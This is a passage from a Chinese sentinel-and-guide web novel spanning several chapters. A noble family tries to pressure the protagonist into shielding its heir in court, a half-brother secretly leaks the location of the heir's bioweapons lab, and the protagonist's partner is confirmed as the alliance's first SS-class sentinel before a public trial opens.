悬浮车熄火落地，车门刚一打开，尼克斯已经兴冲冲地迎了上来，一眼看到江寻，立刻绕着他打量一圈，确定他真的完好无损，才夸张地松了口气。 “我还以为你在那儿逞强呢，还真的一点儿事儿也没有。”尼克斯的目光落在从前面驾驶座上绕过来的陆厌离身上，“不错不错，看来伊莱那厮胆子还没那么大，不敢真的对你动手。陆少将也把你保护得很好。” “不，他动手了。”一提起伊莱，陆厌离的眼神就立刻冷了下来，“他对江寻用了‘枷锁’，还试图强行侵染他的精神核心。” 一听这话，尼克斯脸上兴奋的表情骤然敛了下去，眉头立刻皱了起来：“枷锁？这东西居然还有漏网之鱼存世？他从哪里弄来的？” 陆厌离摇了摇头，这也是他们想知道的。 “那看来，他这次的麻烦可大了。”尼克斯看了看江寻，“公然违犯联盟禁令，对高级向导使用严令禁止的拘禁措施，还试图强行单方面绑定向导。更不要说，他还和之前的几起公共安全事件有关系。这回，就算是凡纳家，想把他捞出来，恐怕也要掉层皮。” “不过看起来你现在的状况还不错，是救助及时？还是其他什么原因？和绑定有关系吗？嗯……快跟我来，仪器项目我都已经准备好了，今天我亲自给你们做检测。” 尼克斯的求知欲燃烧起来，一句话说完，就拖着江寻的手臂，风风火火地向着愈灵殿里面快步走去。 测试间中，全套检测仪器都已启动，熟悉的操作员们正打着哈欠坐在控制台前，见到尼克斯拉着江寻进门，这才纷纷精神起来，一一和江寻打起招呼。 “好了，要聊天等正事做完再说，先给他们做状态检测。”尼克斯进入状态之后，马上就变成了一个执行力MAX的暴君，引着两人分别踏入仪器里开始测试。不断变化着仪器上的常量数值，记录下相应的数据。 才测试完最基础的几个项目，就已经兴奋得双目发光。 “最终结果还要等一会儿，总结完所有样本数据之后才能计算出来，不过……”尼克斯看着手中已经测试出的数据条目，“现有的表现已经大大超出你们之前的基础数据了，怎么会增长了这么多？！” 尼克斯双眼发亮地看着江寻与陆厌离两人，像是遇到了什么难以理解的珍贵标本，“两个人的数值都在大幅度增长，说明不是特例，应该就是因为你们的完全绑定带来的。可是正常来说，哨向完全绑定，虽然有提高双方精神力的作用，但也没有出现过这样跨越式的进步。你们做了什么？或者说，你们的匹配度非常高？” 江寻与陆厌离四目相对，想了一想，江寻才对尼克斯解释道：“我们的绑定流程应该与大多数人是一样的，就是正常的互相侵染，甚至发生绑定的时候，我的状态还非常不好。匹配度的话……” “我们的匹配度没有专门测试过，”江寻一边回忆，一边说着，“但是应该不低，否则我也不会在低等级的时候，就能完成对他的疏导净化。” “除此之外，”江寻看向一脸求知地看向他的尼克斯，“在绑定发生之后，我们迎来了结合热。因为结合热，我当时短时间内恢复了大量精神力，于是，在结合热到达顶峰的时候，刻印状态再临。这一次，我们完全补完了刻印。” “真的？！”听到这里，尼克斯的眼睛简直在放光，“我就知道，你们果然补完了刻印！” 尼克斯兴奋地在原地转圈，口中念念有词，“是的，这么大跨度的精神力提升，不可能是某一个现象的结果，它是许多事件共同作用的结果！我早该想到的！” “你们完成刻印了，那刻印技能是什么？两个S级的哨向伴侣出现刻印现象，以前还从没有发生过。”尼克斯迫切抓着江寻的手腕，“你之后一定会研究刻印技能的吧？请一定要让我加入！” 江寻看着尼克斯这副兴奋的表情，笑着点了点头：“当然，我原本就希望能得到组长的指点建议，之后，还要请您多关照了。” “好好好！”尼克斯忙一迭声地应下，整个人都喜气洋洋的，“来，我们接着测试……” 一句话还没说完，一位负责愈灵殿日常事务的助手敲了敲门，走了进来，“江寻先生，外面有访客找。” “嗯？”江寻疑惑抬头。 他昨天才刚刚回到中央星，根本没几个人知道此事，更不要说知道他这时候在愈灵殿。 连他自己都是早上接到尼克斯的通讯才临时决定的行程。来人是谁？ “是什么样的人？他们有说找我什么事吗？”江寻问了一句。 “是一位年轻的男士与一位老人，看起来像是哪家的少爷与随侍管家。”助手解释道，“他们只说是有重要的事要找您，没有吩咐别的。两人已经通过安全验证，现在正在会客室里等您。” 旁边，陆厌离刚刚在尼克斯的指挥下躺进精神波扫描仪，江寻想了想，对着尼克斯示意了一下，独自走了出去。 一路行至会客室敲门而入。 江寻抬眼打量着已经等候在里面的两人。 一个年轻男子穿着时髦，衣料质地极好，各种珠宝配饰穿戴满身，神态显得有些倨傲。而另一头发花白的老人，正垂首肃立在年轻人身后，一身考究的三件套，发丝梳得一丝不苟，神态举止，都极像江寻打过许多次交道的劳伦斯。 怪不得刚才那位工作人员不敢怠慢，前来请他。这两人，一望便知不是什么简单人物—— 作者有话说：吃完饭写二更！[托腮] 第253章 “江寻向导？”那年轻人还没开口， 却是老管家先上前一步，微微躬身。可他口中说着客气的话，眼角眉梢间却毫无尊重， 只是一片疏离，“冒昧打扰了，这位是凯尔·凡纳少爷，我是凡纳家族的管家， 霍恩。” 江寻的目光在两人身上打量。 仔细看去， 那年轻人一张有些傲慢的神情下， 却是与伊莱有着七八分相似的脸庞。只是比他年轻得多，也不像伊莱那样， 把世家尊贵浸润到了骨子里。这副把自己穿成珠宝架的模样，眼角眉梢间透出的得意飞扬，倒有些穷人乍富的味道。 再咂摸一下刚才那位管家的自我介绍， 凡纳家族的管家……他记得劳伦斯对外的介绍一直都是， 凡纳家大少爷伊莱的管家……而且，如果他没记错的话，凡纳家当代家主与夫人， 似乎只有伊莱一个儿子？ 江寻看着两人的目光渐深。 一个照面， 他已经对面前两人的身份有了些猜测。 不过， 凡纳家的人， 这时候来找他？ 江寻不动声色， 点了点头简单回礼：“你们好， 今天来找我， 是有什么事吗？” 那位名叫凯尔的凡纳家少爷，此时上前一步，毫不客气地用挑剔的目光上下打量着江寻， 随即撇了撇嘴，目光中闪过毫不掩饰的轻蔑，用小声却能令三人都听到的声音说道：“啧，脸长得倒是不错，可居然长了这么高，又是个男人，看着和寻常的哨兵都没什么两样了，真不知道那家伙看上你什么……” “凯尔少爷。”年轻人的话还没说完，便被管家打断。霍恩目光平淡地看了他一眼，声音里带着一丝警告。 凯尔从鼻子里轻嗤一声，却不敢反驳。不情不愿地收敛了表情，但眼神里的嫌弃却完全没有隐藏。 他也丝毫不客气，被霍恩打断了话，便干脆不理会两人了，自顾自走到会客厅的沙发边，便自然地坐了下去。 霍恩的面色有些沉，却没有再次出声指责，反而转向江寻：“江寻向导请原谅，凯尔少爷年纪还小，并非有意冒犯。” 说着伸手一引，竟是比此地的主人更加主动，邀了江寻坐下说话。 江寻淡淡一笑，却没有什么温度。从善如流地坐下，看看面前两人究竟要做什么。 “是这样的，江寻向导。”依然是霍恩代表着凡纳在说话，“我们此次前来，是希望能与您化干戈为玉帛。在即将到来的最高法庭审判中，能够出面作证，您一直以来都在与伊莱少爷正常交往，这一次，也是应伊莱少爷之邀，前去做客的，并不存在什么绑架行为。” 也许是他也知道自己的请求不合情理，不等江寻拒绝，便快速继续道：“我们知道这一次的事件让您受委屈了。可是，伊莱少爷从刚开始认识您，到这次事件初期，都没有真正为难过您不是吗？而且您最终也没有遭受任何损失。” 他顿了一下，抬眼观察一下江寻的表情，又继续道：“家主大人知道此事后，大发雷霆。可伊莱少爷毕竟是他唯一的儿子。如果您愿意看在你们之前的情谊上，放他一马，凡纳家族一定会铭记您的善意，并为这次事件造成的损失，为您提供能够让您满意的补偿。” 江寻注意到，在霍恩说到“唯一的儿子”时，那位名叫凯尔的年轻人面色一瞬阴沉下来，面无表情地从背后看了霍恩一眼。一秒之后，又变回了他原本的那副嚣张跋扈的模样。 一瞥眼发现江寻正在看着，他也丝毫没有在意，眼珠一转，开口就是威胁：“你可想清楚了，伊莱可是我们凡纳家唯一的S级哨兵，父亲是绝对不可能就这么放弃他的！反正你们现在也没什么损失，不如拿点好处息事宁人。你要非和我们撕破脸的话，就算是硬碰硬，让我们家付出点儿代价，我们最后也一定有办法保他全身而退的！到时候……” 凯尔露出个充满恶意的微笑：“与一个家世显赫的S级哨兵结下死仇，即使有陆老三帮着你，他还能时时刻刻都护在你身边不成？” 霍恩管家这一次没有打断凯尔的话，反而微垂下眼眸沉默着，默许了对方对江寻的警告。他的意思不言自明。 江寻扯出个没有温度的笑来，这两个人实在有意思。 主不像主，仆不像仆，明显各自都有着自己的心思。与他说话的时候却又开始一致对外了。 而且，一开口又是老一套的威逼利诱，看来凡纳家已经习惯了以势逼人，也习惯了他人对他们低头，把这样的行为全然视作理所当然了。 与这二人说话，实在无甚意思。江寻现在都开始觉得自己实在没必要过来，简直是浪费时间。 正要开口直接拒绝，外间却突然传来一阵明显的喧哗欢呼声。随即，沸沸扬扬的人声隐隐传来，似乎有许多人在激动地议论着什么。 还没等他们听清楚发生了什么事，一个规律的沉稳有力脚步声由远及近传来，听着声音，前进的方向正是他们所呆着的这间会客室。 霍恩与凯尔两人面上有了些意外之色，却并没有太过在意，注意力仍然聚焦在江寻身上。而江寻的心中却微微一动，已经有了些许预感。 果然，下一秒，会客厅的大门被人敲响。 还没等凡纳家的两人皱眉出声斥退来人，大门已经被对方主动推开。 陆厌离的身影出现在门外。 他显然刚刚结束一轮检测，甚至没来得及换上外衣，身上还穿着贴身的检测服，推开大门的瞬间，正把最后一枚电极线从自己身上扯下来。 一眼看到凯尔那张与伊莱有七八分相似的面孔，他的目光立刻沉了下来。 周身原本就因为刚刚结合，满溢出来的磅礴精神力，立刻沸腾起来，瞬间如同潮水般冲进房间里，占据空气中的每一个角落。 凯尔两人都是拥有天赋的低等级哨兵，毫无准备的情况下，骤然被陆厌离的精神力完全笼罩起来，呼吸顿时一窒，一种被顶级掠食者盯上的可怖感觉传来，冷汗顿时从后背渗了出来。 陆厌离丝毫没有和两人打招呼的意思，几步走到江寻身边，双眼快速在他身上扫视一圈，确认他安然无恙，才转过身来，冷冷地看向不请自来的两人： “伊莱·凡纳犯下的，岂止是简单的绑架罪。他还公然动用联盟宣禁的非法拘禁装置，试图强制绑定高级向导。除此之外，他还涉嫌私自研究高危生化武器，操纵联盟成员国内政，直接威胁到了联盟的和平稳定。”陆厌离每说出一句话来，霍恩的脸色就难看一分，凯尔此时却始终面无表情，让人分辨不出他在想些什么。 “指控他的，岂止是江寻一人。他的种种肆无忌惮的行径早已引发众怒。联盟即将对他提起公审，数项重罪叠加之下，联盟绝不会随意姑息。” 话落，霍恩已经没了挂在脸上的那副恭敬神态，满面寒霜。 陆厌离尤嫌不够，再次上前一步，无形的威压随着他的迈步，更强一分，“另外，你们也不必替江寻去担心伊莱脱身之后，会如何报复他。” 他顿了顿，一字一句清晰说道：“在D-30星的时候，伊莱的精神体，已经被江寻动用技能，封印在了自己的精神图景里。” 听到这话，霍恩终于变色，猛地抬起头来，惊愕地看向江寻。片刻后，像是想到了什么，面色又缓和下来。看着凯尔仍然一脸不明所以，半是给他解释，半是反驳地说道： “A级向导技能精神体封印术。的确是个非常强悍的技能，但是其构造非常复杂，需要消耗的精神力也非常庞大。要实现出来，需要多个高阶向导共同发力，成功率还不高。一般只会应用在特殊情况下。”霍恩深深看了眼江寻，“没想到这种条件严苛的技能，江寻向导也会，军部还能纠集数个高级向导一起协助他施展出这样的技能。” “不过，这个技能虽然麻烦，但凭凡纳家的实力，要找出几个高阶向导来为伊莱少爷解除技能效果，也没那么困难。” 陆厌离冷笑一声，移动一步，挡住霍恩的视线，又继续说道：“不，你错了。江寻使用的是他自行改良出来的单体封印技能。它的构成与那个多人合作完成的封印完全不同，并且更加稳固，能解除它的，也唯有江寻一人。” 他的目光掠过霍恩彻底难看下来的脸，又在他背后的凯尔现出惊喜笑意的眸子上停留一瞬，“江寻根本不需要考虑他的报复。只要江寻不出手，伊莱·凡纳，从今以后就永远只是个空有S级体魄，却无法动用丝毫精神力的‘伪’哨兵。他的S级哨兵等级，已经名存实亡。” 还没等霍恩两人完全消化陆厌离的这番话，打开的会客室门扉外，欢呼声越来越大。 隐隐有人语、脚步声正在快速接近会客厅。 越来越大的议论声从门外飘进来，隐约能听到“SS级”、“陆少将”、“联盟第一位”的激动字眼。 随着人声越来越清晰，凯尔与霍恩两人的眼眸也越睁越大。刚刚还想要说的话，此时已经完全消失在他们的脑海里。 两人此时的表情惊人的一致，他们难以置信地看向门外隐隐攒动的人群，又猛地转过头来，震惊地看向面前精神力笼罩了整个室内的陆厌离。 一个疯狂的猜想浮上心头，凯尔的声音都变了调，他指着陆厌离，结结巴巴地问出口： “SS级哨兵？联盟出现了传说中的SS级哨兵？他……他们说的那个人……是，是你？！”—— 作者有话说：二更完成[撒花] 第254章 话刚出口， 凯尔却似不愿相信般连连摇头：“不，不可能！联盟从来就没有出现过潜力等级超过S级的哨兵，我记得你早在刚出生的时候就测试过潜力等级， 就是S级没有错！” 而相对于凯尔的连番否认，霍恩面上的表情就复杂许多。 他紧紧盯着陆厌离，想从他脸上看出一丝否认的意思。未果后，目光又移动到江寻脸上， 想要看出某些破绽。久久， 直到发现两人的神色始终平静无波， 面上终于阴晴不定地变幻起来，脸上的法令纹仿佛都在这一刻加深了几分。 可他还是不愿相信， 下意识地去感受陆厌离身上携着的那道深不可测的精神力场。 刚才陆厌离跨进门来，他初初感受到这道庞然力场时，便已经发现了它的浑厚强大。 不过那时候， 他还以为是自己等级太低， 所以在面对对方时，感受到的压迫力过强。 可此时再看，才蓦然发觉， 这道力场竟比平日里， 从伊莱大少爷身上感受到的领域， 还要来得莫测许多。 作为大半辈子都陪着凡纳家主浸润在权力场中的心腹， 他可比凯尔这个毛头小子， 更加了解联盟有史以来第一位SS级哨兵的含金量。 此刻， 这位老管家终于彻底收起了所有的轻慢， 恭敬地躬下身子，声音干涩地恭敬致歉：“……抱歉，二位阁下， 失陪一下，我恐怕需要向家主大人汇报一番谈判结果。” 说完，丝毫不顾凯尔的存在，把他一个人丢在房间里独自面对江寻二人，脚步有些踉跄地快速退出了会客室。 属于霍恩的沉重脚步声快速走远，几人听着，他似乎是去了传来欢呼声的愈灵殿大厅里。 房间里被独自丢下的凯尔·凡纳，看着那位跟在凡纳家主身边时间最久的沉稳管家，失措地快步离去。面上露出的那副浅薄的倨傲轻蔑姿态，迅速消失得一干二净。 他转过脸来看向江寻二人，审视的目光一闪而逝，迅速变成一点恰到好处的惶恐和歉意，脸上的嚣张表情也完全收敛起来，现出一种有些生硬刻板的温文有礼。 便似是没长大的孩子，在刻意学习成熟的兄长。 他主动站起身来，学着刚才霍恩的模样对着二人连连颔首致歉，语气诚恳得近乎谦卑：“江寻向导，陆厌离少将，刚才真是万分抱歉！我那些混账话，请您二位千万别往心里去。” 他微微叹了口气，面上是一副无奈又隐忍的表情：“二位不知，我也一直觉得伊莱大哥……不，伊莱他实在是罪有应得。从出生起，他的位置就站得太高了。作为凡纳家主唯一公开的亲生子，他从来要什么有什么，做事向来只考虑自己的意愿，根本无法共情他人的痛苦。 他不止是对外手段强硬，做出了许多错事。就是对着我们这些兄弟姐妹……哎，只是他在凡纳家族里身份最为正统，地位太高，我们即便对他不满，也丝毫不敢多嘴。” “二位也看到了，我虽然拥有凡纳的姓氏，可身份实在有些尴尬……哎，我们这些弟妹，在家族里的话语权，连父亲身边的一个管家都比不上。这次过来，我也是奉命行事。刚才那些表现，都是不得不为之……实在不是出于我的本意。”说着，他若有深意地看了看陆厌离，接着说道，“我的处境，恐怕陆少将也是十分清楚的。请二位务必原谅我之前的无礼。” 听着他话里话外弯弯绕绕，还提到了陆厌离。陆厌离本人没太明白，有些疑惑地轻蹙了下眉头，江寻却已经确定了自己开始时的猜测。 凯尔脸上堆起一个故作友善的笑容，目光在江寻与陆厌离之间逡巡片刻，带着几分他自以为不明显的评估，“其实我本人真的十分崇敬陆少将为联盟做出的贡献，也非常佩服江寻向导您敢于踏上‘寻道者’道路的勇气 。我真心希望，以后能够有幸与二位成为朋友……” 说到这里，走廊上传来一阵熟悉的急促脚步声，凯尔耳朵一动，眼中闪过一抹决绝，以极快的速度从内袋里掏出一张便签纸与笔，飞快地在上面写下了什么，赶在来人推门而入的前一秒，迅速塞进了江寻手中。 下一秒，房门打开，霍恩管家重新出现在众人面前。 此刻的他，面色比刚才更加难看下来。 他深呼吸一口气，此刻，再也不掩饰对于凯尔的无视，大步走到江寻面前，深深一躬，态度显得格外的郑重：“江寻向导，请容我再次为之前的冒犯向您致歉。我们的要求的确有些强人所难了，家主大人也为我的擅作主张对我严厉斥责了一番。” 他稍稍抬眼，看一眼江寻的表情，继续说道：“若是您实在不愿为大少爷出庭作证，我们也不会勉强，只是……”他话锋一转，“伊莱少爷在此事之前，对您也算友好周到，处处关怀，并未伤害过您半分……他实在罪不至此，能否请您看在过往的这点情分上，在法庭上为他美言几句？或者对他高抬贵手，为他解除封印？” 霍恩郑重担保：“家主大人保证，若您可以与我们化干戈为玉帛，凡纳家必将记得您的这份善意，予以回报。从今以后对大少爷严加管束，绝不会再让他去骚扰二位。” 他的话音刚落，不等江寻回答，陆厌离已经一步上前，将江寻完全护在身后，看着霍恩的目光冷冽，口中斩钉截铁：“放弃你们这种可笑的想法吧，我说过了，他伤害的人可不止有我们二人。联盟这一次必会让他为自己所做过的一切，付出应有的代价。你们来求江寻也没用，请回吧。” 霍恩看了看陆厌离如霜的面容，又看了看江寻始终不为所动的表情。终于深深叹了口气。 知道再说无益，他不再多言，对着二人微微颔首告辞，给身后表情再一次恢复了吊儿郎当的凯尔使了个眼色，携着他一起步履沉重地离开了愈灵殿。 两个不速之客的脚步声渐渐远去，会客室的门轻轻合上，外间喧嚷的人声再一次低了下去。 江寻低下头去，看向手中那张揉成一团，被凯尔迅速塞过来的纸条，眉毛一挑。 便签纸上，写着一串由字母与数字共同组成的数列。下面一行，还有一个陌生的名字。 陆厌离也凑近过来，看着这串含义不明的数列，面上现出狐疑与警惕，眉头蹙起：“这是什么？” 江寻凝视着那串数列，脑中飞速闪过数个与字母和数字有关的编码规则，很快锁定了答案。 再回忆一下刚才凯尔的表现，心中浮现一个猜测。 他抬眼看向陆厌离：“我觉得，这是一个位置坐标。你看，前面这串字母数字组合，指向的是星域与具体的星系，中间的数字应该指向具体的行星编号，而最后这两个数字，则是具体的经纬坐标。至于这个名字……可能指向一个关键的人，又或者是某个看似普通的机构。” “把这串数列和这个名字发送给蔚部长吧，他那边有更加专业的情报人员，能更加准确地判断出这串数列的具体含义。我怀疑……这个位置，指向的是我们一直没能找到的伊莱秘密创建的那个生化实验室。” “那个生化实验室？”陆厌离眼中闪过惊讶，“你怎么知道的？那个凯尔为什么要告诉我们这个？” “凯尔·凡纳，”江寻一边思索着，一边解释道，“虽然他好似在凡纳家中话语权并不高，可他能被派来代表凡纳家与我谈判，身边还跟着家主的心腹管家，这本身就说明，他如今对外虽然名声不显，可在凡纳家主心中，应该地位不低，甚至可能是对方暗中培养的继承人候选者之一。” “想想他刚才说的那些语焉不详的话，他还提到了你。”江寻提示一下陆厌离，“我猜测，他可能也是凡纳家主的亲生血脉，只是出身不那么正统。” 陆厌离恍然：“你是说，他是老凡纳的私生子？” “大约就是如此了。”江寻点了点头，“这样一个角色，若是在家中还一直受到正统继承人的压制，对外甚至都没有一个得到承认的正式身份，他不可能真心站在伊莱那边。” 江寻点了点纸条，“事实可能正好相反，彻底扳倒伊莱这个压在他头顶上的家族嫡系大少爷，板上钉钉的第一继承人，才是他真正的诉求。” 他回想起凯尔在霍恩前后截然不同的两种态度，思路越发清晰：“他开始的那番嚣张挑衅的姿态，恐怕就是故意的。一方面，完成家族给他的‘任务’，并且让自己看起来没脑子好掌控。另一方面，很可能是想要故意激怒我们，让我们拒绝合作，更加坚定地趁着这个绝无仅有的机会，彻底把伊莱踩死。” “这样，虽然凡纳家会遭受重创，但他却能趁着这个机会上位，这才是最符合他利益的方式。”江寻扬了扬手中的纸条，“所以，他给我递过来的这个消息，恐怕会是一个真实的关键线索。他这是想要借着我们的手，彻底除掉伊莱这个最大的对手。” 陆厌离听完恍然，此刻再看那串数列，心中也渐渐清晰。 “好，我这就联系蔚部长。”他毫不犹豫，马上点开哨兵核心，将这张纸条上的信息清晰地拍摄下来，发送给了仍在M68星域调查后续事件的安全部部长蔚泽洋，并且附上了江寻的简要猜测。 “感觉你比我还要了解这些来自世家内部的倾轧呢……”陆厌离将消息发送出去，看向江寻，语气中带着些许厌烦。 “只是你所处的环境一直都比较单纯，对人又一直诚恳负责，很少遇到这样的弯弯绕绕。这样也是好事。”江寻轻轻拍拍陆厌离的手，安抚一二，“总而言之，这也算是一个意外之喜了。希望蔚部长真的能靠着这个信息，找到决定性的证据。” 两人说着话，推开会客室的门，向外走去。 刚一踏入大厅，喧闹的人声就扑面而来。 以尼克斯为首的一众研究员、操作员们，正兴奋地等在外面，一边不断翻看着各自拿在手中的纸张，一边激动地与身边的人热情讨论着什么。 此刻见到二人出来，立刻围了上来，每个人的脸上都洋溢着激动与好奇。 这其中，又数尼克斯最为突出。 只见他一个箭步冲到最前，凑到江寻两人面前，脸上因为兴奋泛起红光：“你们终于出来了！快看，最终的检测数据全部出来了！” 说着话，他挥舞着手里的数据板，速度极快地滑过几个页面，将一张测试结果报告单展示在江寻面前。 “江寻，你的精神力各方面数据，经过这次绑定都有了大幅度的增长，特别是精神海可容纳总量，足足比之前提升了将近百分之三十！这个数字，简直是我所见过的类似样本中最高的了！” 语速极快地对江寻说完，他猛地转向陆厌离，脸上的神情更加激动，重重拍了拍陆厌离的肩膀，感慨道：“至于你，陆厌离，基础精神强度1225SU！小子，你知道这个数据意味着什么吗？” 不等陆厌离反应，他便激动地飞快说出了答案：“这意味着，你的精神力彻底突破了SS级哨兵的门槛！联盟有史以来第一位SS级哨兵，就在刚才，在我们愈灵殿中诞生了！” 尼克斯哈哈大笑起来：“刚才检测数据被自动录入到医疗智脑‘阿波罗’的时候，直接触发了智脑警报。恐怕，现在你的名字已经出现在联盟议长与最高元帅的桌子上了！” 说到这里，周围的研究员们顿时发出一阵巨大的欢呼声，看向陆厌离的目光充满了敬畏与骄傲。 尼克斯深吸一口气，平复了一下激动的情绪，对着两人说道：“恭喜了，这个消息传出去，联盟上层恐怕很快就会有所表示了。你们两个做好准备，登上了这个位置，未来要承担的担子可不会轻。不过，我相信，如果是你们的话，一定能做得很好的！” 好不容易正正经经地说完了这番话，尼克斯马上又恢复了那副研究狂的姿态，眼神热切地看向江寻：“你们之间出现的刻印技能，恐怕很是不得了，你研究的时候，可一定！一定要叫上我！” 江寻有些好笑地看着他无缝切换的态度，点了点头再次应承下来。 又回应了周围其他熟悉研究员们的恭贺，应下了数个不容拒绝的研究邀请，厅中众人这才意犹未尽地散了开来。 尼克斯也恢复了属于研究员的冷静与好奇。 他摸着自己的下巴，若有所思地看向江寻两人：“虽然事实已经告诉我们，你已经切实地突破到了SS级。可是，这其中的原因，我们却还没有搞清楚。” “你从小到大每年的测试数据都在愈灵殿有备份，我也深入研究过。虽然有过小范围的变动，但大体来看，你的潜力评定等级，一直就是S级，始终没有出现过变化。按照以往的经验来说，完全绑定虽然能带来能力提升，但都不会超过最高潜力等级。你到底是怎么突破到SS级的……这完全超越了常规的认知。” 尼克斯的眼神移向江寻：“难道是江寻为你带来的变化？你们有没有头绪或者猜测？给我说说看？” 江寻与陆厌离对视一眼，陆厌离眼中是一片茫然，江寻倒是在沉吟后，有了点想法，“我在想，是不是和刻印有什么关系？” “哦？”尼克斯听着江寻竟然真的说出个猜测来，忙追问起来，“你为什么觉得和刻印有关系？有什么线索吗？” “没什么切实的证据，我只是根据结果倒推的。”江寻摇了摇头，解释道，“按理来说，成年之后的哨兵向导，唯一一次能力突破常规，再次提升的机会，就是完全绑定时触发的那次，对吗？” “但是，你们记得吗，”江寻点了点陆厌离，“他的能力，先后提升过两次。而我，是正常的一次。并且，我们两人能力提升的幅度，都比寻常人要高。” “按理来说，能力提升同时发生在哨向两人之间，两人的提升状况，就应该是相似的。那么，造成我们两人提升次数不一样的原因，必定是我们身上存在的某些不同。” “而我与他的不同之处就在于，在他发生第一次能力提升时，我们是单方面绑定的状态，而当时同时触发了刻印现象。”江寻解释道。 听江寻说到这里，尼克斯双目一亮，立刻有了一些思路：“有道理！” 尼克斯沉吟片刻，试图顺着这个思路理清逻辑，“陆少将的单方面绑定，发生在第一次刻印出现之前。那过程有可能是这样的：本来单方面绑定，是无法触发精神力增长的。但绑定之后意外出现的刻印现象，令某些东西错误地判定你们正在进行完全绑定，于是出现了精神力增长现象。虽然那一次刻印在中途被打断，但是精神力增长已经发生了，无法退回。因为当时被绑定的，实际只有陆少将一人，所以，那一次受益的，也只有他一人。” “经过这一次增强，陆少将的精神力总量已经差不多增长到了你这个等级的极限。” 尼克斯的思路渐渐清晰，语速增快起来：“而第二次，你们完全绑定的时候，出现了正常的精神力增长现象。而在这之后，因为再次触发了刻印现象，于是，引发了一次更深层次的精神力共鸣与增长。” 尼克斯一拍手，越想越觉得江寻提出的这个可能十分有道理。 “你们的最后一次完全绑定，其实经过了两个导致精神力增长的阶段。而这两个阶段的影响叠加起来，量变引起质变，这才让你最终冲破了S级的壁垒，进入了前所未有的SS级领域。” 看着江寻与陆厌离二人有所明悟的表情，尼克斯又赶紧摆了摆手：“这只是我根据江寻提出的可能，推出的猜测。你们不要全然相信啊。这个猜测虽然听起来逻辑通顺，但是缺乏直接证据。真实的原因，很可能与这个猜测南辕北辙。” “当然，”尼克斯又露出了那副充满好奇的研究员风范，“如果你们想弄清楚真正的原因，那就多来配合我的研究。说不定什么时候，我们就找到线索，得知真相了呢！” 江寻与陆厌离对视一眼，微笑应允下来。 一番话毕，今天的检测与发生的意外插曲，总算是告一段落。 之后的两人，婉拒了尼克斯提出的马上开始研究的提议，在众人更加热烈的目光注视下，相携离开了愈灵殿。 如今陆厌离突破SS级的消息已经传了出去，恐怕之后又会迎来一系列的相关事件。 留给他们的悠闲时光，恐怕不多了。 * 在陆厌离上报新线索的一天后，陆厌离的哨兵核心上，果然收到了蔚部长发来的简讯。 内容只有寥寥几个字： 【信息已破解，目标已确认，已找到目标位置。】 正如江寻所预料的，凯尔提供的那个数列中，包含着一个真实的定位坐标。 经过一番解码与信息搜集后，情报组确认，这个坐标正是伊莱隐藏起来的那个高危生化实验室所在地。而上面提到的那个名字，就是那个被用来伪装的医药公司名称。 蔚部长破解出信息后，果断率领行动组，第一时间抵达了情报所示位置，成功拦截到了凡纳家未来得及完全转移的秘密实验室。 在这个实验室中，查获了大量涉及病毒研究、活体实验与非法注资的证据。 所有这些证据，都是指向伊莱的直接罪证。 成功查获这批罪证后，蔚部长马上对所有资料进行了封存与上报。之后，带着所有收获，与仍然被严加控制中的伊莱，启程返回中央星。 第255章 【凡纳家族大公子， 竟是多起公共安全事件幕后黑手！】 【安全部长蔚泽洋表示，已掌握大量确凿证据，凡纳家族陷入巨大丑闻！】 【震惊！联盟新任S级“寻道者”竟被强制绑定！】 【凡纳家主表示， 对长子一系列违法行为均不知情。】 一大早，坐在饭桌上的江寻一打开星网主页，便被频频弹出的新闻页面刷屏，仔细一看， 居然八成都是关于伊莱的案子的。 “蔚部长之前不是打算暂不公布的吗？怎么这么多媒体都爆出了这件事？”江寻疑惑看向对面的陆厌离。 在蔚部长成功通过陆厌离提供的线索， 截获大量切实证据之后， 曾与陆厌离联系过几次。 当时，蔚部长分明表示为了保护证据链完整， 防止凡纳家及其背后的势力提前插手此事，在他们彻底厘清案件，带着伊莱返回中央星接受审判之前， 暂不对公众通报关于这次事件的具体细节， 以避免引起大规模的恐慌与动荡。 可他们前脚才接到蔚部长开始返航的消息，如今，各种关于伊莱的犯罪消息， 就已经如同野火般从星网上开始， 向着整个联盟的各个角落迅速蔓延开来。 而且这些新闻还不是只知道个皮毛， 江寻点开几个门户网站上热度最高的新闻看去。上面对伊莱这次被指控的几大罪名如数家珍， 有一些甚至连江寻与陆厌离两人都不曾听说过。 而且， 这些新闻列举的事例， 措辞的描述手法， 煽动力极强，再加上，几乎是同一时间从各个主流媒体上发布出来的。看起来……就像是有人在后面刻意推动。 “蔚部长那边已经下令暂时保密了， 但是这次事件涉及的关系人太多了，有不少人身后还站着各大派系，若是有人想把这件事闹大，他也没办法完全封禁掉消息。”陆厌离皱眉回道。 江寻暗暗叹气，心中无奈，恐怕就是如此了。 凡纳家虽然在联盟中权势极大，但他们的敌人也不少，不知有多少双眼睛紧紧盯着它。这一次事件，若是能将凡纳家作为标杆的S级哨兵、第一继承人斩落，对凡纳家来说，绝对称得上是伤筋动骨的损失了。 更不要说，不光是外部势力，恐怕凡纳家内部也有不少人，想要把伊莱拉下来，从而瓜分原本属于他的利益。别人江寻不知道，但最起码，上次他见过的那位“凯尔少爷”，肯定是其中的一个。 事实上，也不负背后人的希望，在这件事被公布以后，联盟民众的愤怒被瞬间点燃。 对于联盟中大部分的普通人来说，绑架顶级向导这种事可能离他们还很遥远，只有对于伊莱胆大包天至此的震惊。 可对方秘密研究生化武器、搞活体实验，并且在十数年间，制造了无数起公共安全事件的罪行，却切切实实地对所有联盟普通民众造成了威胁，踩在所有人的底线上。 这件事被多方披露之后，顿时激起了民愤，所有民众的目光都紧紧盯上了这次事件。 名人们纷纷公开谴责，各个星球上的民众们甚至自发组织起了数十次游行活动，要求联盟严惩伊莱，彻底公开真相。 在这样一波高过一波的舆论浪潮下，这件事彻底变成了最近一段时间里，所有联盟民众关注的焦点。 在这样的风暴中，蔚部长的舰队终于抵达中央星。 舰队在专用空港登陆后，伊莱马上被转移到了最高级别的拘禁室中。由于本次事件在整个联盟中引起的巨大反响，联盟议长亲自下令，此案将由联盟最高法庭进行公开审判。届时，整个审判过程也将全程在星网上进行直播。 此消息被通告全网之后，联盟民众尽皆叫好。 与此同时，在被隐藏起来的阴影中，亦有无数黑暗中的交易，围绕着此次事件达成。 在所有人各怀心思的目光中，公开审判日，终于到来。 * 联盟最高法院，“真理天平”审判庭上，今日座无虚席。 巍峨高阔的穹顶上，彩绘着的巨大天平象征着法律的公正与威严。 天平一端是检察公诉席，而另一端是被告席与辩护席。由主审官及陪审员组成的审判席，高居法庭正中央。 